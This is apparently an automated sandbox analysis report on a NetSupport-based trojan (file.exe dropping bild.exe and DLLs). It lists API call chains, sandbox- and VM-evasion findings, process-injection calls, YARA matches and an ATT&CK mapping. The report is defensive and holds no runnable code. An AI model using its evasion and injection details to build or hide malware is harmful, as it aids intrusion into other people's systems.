Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11113290 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	1_2_11113290
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	1_2_110CB2B0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	1_2_110CB2B0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110254A0 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	1_2_110254A0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110258F0 IsIconic,BringWindowToTop,GetCurrentThreadId,	1_2_110258F0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11023BA0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	1_2_11023BA0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11024280 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	1_2_11024280
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11112670 IsIconic,GetTickCount,	1_2_11112670
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	1_2_111229D0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	1_2_111229D0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110C0BB0 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	1_2_110C0BB0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	1_2_1115ADD0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	1_2_1115ADD0

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_11143570 GetTickCount,GetModuleFileNameA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_11143570

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_110B8200 Sleep,ExitProcess,

1_2_110B8200

Source: C:\Users\Public\Downloads\bild.exe	Window / User API: threadDelayed 1034	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Window / User API: threadDelayed 461	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Window / User API: threadDelayed 7129	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\Public\Downloads\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\Public\Downloads\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\Public\Downloads\HTCTL32.DLL	Jump to dropped file

Source: C:\Users\Public\Downloads\bild.exe	Evaded block: after key decision	graph_1-88605
Source: C:\Users\Public\Downloads\bild.exe	Evaded block: after key decision	graph_1-89795
Source: C:\Users\Public\Downloads\bild.exe	Evaded block: after key decision	graph_1-90478
Source: C:\Users\Public\Downloads\bild.exe	Evaded block: after key decision	graph_1-93033
Source: C:\Users\Public\Downloads\bild.exe	Evaded block: after key decision	graph_1-93429

Source: C:\Users\Public\Downloads\bild.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_1-93169

Source: C:\Users\Public\Downloads\bild.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_1-92953

Source: C:\Users\Public\Downloads\bild.exe

API coverage: 4.5 %

Source: C:\Users\Public\Downloads\bild.exe TID: 7184	Thread sleep time: -258500s >= -30000s	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe TID: 7188	Thread sleep time: -46100s >= -30000s	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe TID: 7184	Thread sleep time: -1782250s >= -30000s	Jump to behavior

Source: C:\Users\Public\Downloads\bild.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\Public\Downloads\bild.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001DA273 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_001DA273
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EA537 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_001EA537
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	1_2_1102D330
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	1_2_11065890
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	1_2_1106A0A0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	1_2_111266E0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1110AFD0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	1_2_1110AFD0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9C0F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	1_2_6C9C0F84
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9BEFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,__wfullpath_helper,_strlen,_IsRootUNCName,GetDriveTypeA,free,___loctotime32_t,free,__wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___dtoxmode,GetLastError,__dosmaperr,FindClose,	1_2_6C9BEFE1
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9BCA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	1_2_6C9BCA9B
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9C0B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime64_t,free,_wsopen_s,__fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	1_2_6C9C0B33

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001EC8D5 VirtualQuery,GetSystemInfo,

0_2_001EC8D5

Source: HTCTL32.DLL.0.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.1747458716.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: file.exe, 00000000.00000002.1747458716.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: bild.exe, 00000001.00000002.4167415871.000000000088E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: HTCTL32.DLL.0.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.0.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: bild.exe, 00000001.00000002.4167415871.0000000000942000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.0.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: TCCTL32.DLL.0.dr	Binary or memory string: VMWare
Source: bild.exe, 00000001.00000002.4169735122.0000000005256000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE2

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node			graph_0-22500
Source: C:\Users\Public\Downloads\bild.exe	API call chain: ExitProcess graph end node			graph_1-88673

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001EDA75 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_001EDA75

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_11147750 GetLastError,wsprintfA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,SetLastError,GetKeyState,

1_2_11147750

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_6C9E6C74 VirtualProtect ?,-00000001,00000104,?

1_2_6C9E6C74

Source: C:\Users\Public\Downloads\bild.exe

1_2_11029590

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F4A5A mov eax, dword ptr fs:[00000030h]

0_2_001F4A5A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F8AAA GetProcessHeap,

0_2_001F8AAA

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EDA75 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001EDA75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001F5B53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001F5B53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EDBC3 SetUnhandledExceptionFilter,	0_2_001EDBC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EDD7C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_001EDD7C
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11093080 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	1_2_11093080
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110310C0 _NSMClient32@8,SetUnhandledExceptionFilter,	1_2_110310C0
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11161D01 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_11161D01
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_1116DD89 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_1116DD89
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9438F7 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	1_2_6C9438F7
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C9EADFC _crt_debugger_hook,_memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,	1_2_6C9EADFC
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C970807 __report_gsfailure,IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	1_2_6C970807

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_110F4560 GetTickCount,LogonUserA,GetTickCount,GetLastError,

1_2_110F4560

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_1111FCA0 GetForegroundWindow,GetClassNameA,GetWindowTextA,keybd_event,keybd_event,keybd_event,

1_2_1111FCA0

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\Public\Downloads\bild.exe "C:\Users\Public\Downloads\bild.exe"

Jump to behavior

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_1109E190 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

1_2_1109E190

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_1109E910 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

1_2_1109E910

Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	Binary or memory string: Shell_TrayWnd
Source: file.exe, 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, bild.exe, bild.exe, 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.0.dr	Binary or memory string: Progman

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001ED8CB cpuid

0_2_001ED8CB

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	0_2_001E932F
Source: C:\Users\Public\Downloads\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	1_2_11173A35
Source: C:\Users\Public\Downloads\bild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_11173D69
Source: C:\Users\Public\Downloads\bild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_11173CC6
Source: C:\Users\Public\Downloads\bild.exe	Code function: GetLocaleInfoA,	1_2_1116B38E
Source: C:\Users\Public\Downloads\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	1_2_11173933
Source: C:\Users\Public\Downloads\bild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	1_2_111739DA
Source: C:\Users\Public\Downloads\bild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_1117383E
Source: C:\Users\Public\Downloads\bild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_11173D2D
Source: C:\Users\Public\Downloads\bild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	1_2_11173C06
Source: C:\Users\Public\Downloads\bild.exe	Code function: GetLocaleInfoW,free,_calloc_crt,strncpy_s,GetLocaleInfoW,GetLocaleInfoW,_calloc_crt,GetLocaleInfoW,GetLastError,_calloc_crt,free,free,__invoke_watson,	1_2_6C97888A
Source: C:\Users\Public\Downloads\bild.exe	Code function: _getptd,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_itoa_s,__fassign,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,strcpy_s,__invoke_watson,	1_2_6C978468
Source: C:\Users\Public\Downloads\bild.exe	Code function: GetLocaleInfoW,strcmp,strcmp,GetLocaleInfoW,atol,GetACP,	1_2_6C9785AC
Source: C:\Users\Public\Downloads\bild.exe	Code function: GetLocaleInfoA,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,_errno,	1_2_6C9765F0
Source: C:\Users\Public\Downloads\bild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,malloc,	1_2_6C97871C

Source: C:\Users\Public\Downloads\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Downloads\bild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_110F33F0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

1_2_110F33F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001EC131 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,DeleteObject,CloseHandle,

0_2_001EC131

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_1103B160 SHGetFolderPathA,GetUserNameA,DeleteFileA,_sprintf,_fputs,_free,GetFileAttributesA,SetFileAttributesA,

1_2_1103B160

Source: C:\Users\Public\Downloads\bild.exe

Code function: 1_2_11174AE9 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

1_2_11174AE9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001DA8E0 GetVersionExW,

0_2_001DA8E0

Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_11070090 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	1_2_11070090
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_110D8200 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	1_2_110D8200
Source: C:\Users\Public\Downloads\bild.exe	Code function: 1_2_6C942710 CapiListen,memset,	1_2_6C942710

Source: Yara match	File source: 1.2.bild.exe.6c940000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.bild.exe.6fc30000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.bild.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.bild.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.2acb800.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.bild.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.bild.exe.6d0c0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.bild.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4167415871.0000000000942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1740000186.0000000002915000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1742735258.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4170686554.000000006D100000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4167843040.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4167415871.000000000088E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1740000186.0000000002925000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bild.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Downloads\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Downloads\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Downloads\bild.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Downloads\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Downloads\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Downloads\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	4 Native API	2 Valid Accounts	2 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	22 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Windows Service	21 Access Token Manipulation	4 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	2 Software Packing	NTDS	44 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	13 Process Injection	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	13 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	50%	ReversingLabs	Win32.Trojan.NetSupport

Dropped Files

Source	Detection	Scanner	Label
